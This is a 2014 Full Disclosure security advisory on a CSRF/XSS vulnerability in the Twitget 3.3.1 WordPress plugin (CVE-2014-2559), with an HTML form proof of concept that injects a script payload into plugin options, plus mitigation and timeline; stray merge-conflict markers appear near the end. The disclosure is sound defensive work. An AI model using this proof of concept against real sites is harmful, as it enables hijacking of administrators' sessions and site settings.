full-disclosure - [FD] CSRF/XSS vulnerability in Twitget 3.3.1 (WordPress plugin)

Open Source and information security mailing list archives

Message-ID: <d02fe07a5bbb3f97faf8f516c01afd86@security.dxw.com>
Date: Fri, 11 Apr 2014 13:01:10 +0000
From: dxw Security <security@....com>
To: fulldisclosure@...lists.org
Subject: [FD] CSRF/XSS vulnerability in Twitget 3.3.1 (WordPress plugin)

Details
================
Software: Twitget
Version: 3.3.1
Homepage: http://wordpress.org/plugins/twitget/
Advisory ID: dxw-1970-435
CVE: CVE-2014-2559
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Description
================
CSRF/XSS vulnerability in Twitget 3.3.1

Vulnerability
================
If a logged-in administrator visits a specially crafted page, options can be updated (CSRF) without their consent, and some of those options are output unescaped into the form (XSS). In this example the XSS occurs at line 755 in twitget.php. The nonce-checking should have occurred somewhere around line 661 in the same file.

Proof of concept
================
<form action=\"http://localhost/wp-admin/options-general.php?page=twitget/twitget.php\" method=\"POST\">
  <input type=\"text\" name=\"twitget_username\" value=\"john_smith\">
  <input type=\"text\" name=\"twitget_consumer_key\" value=\"&quot;>&lt;script>alert(\'dxw\')&lt;/script>\">
  <input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 3.3.3 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2013-07-30: Discovered
2014-03-18: Reported to plugins@...dpress.org
2014-04-09: Author reports fixed in version 3.3.3.

<<<<<<< HEAD

Discovered by dxw:
================
Tom Adams
=======

Discovered by dxw:
================
Tom Adams
>>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464
Please visit security.dxw.com for more information.

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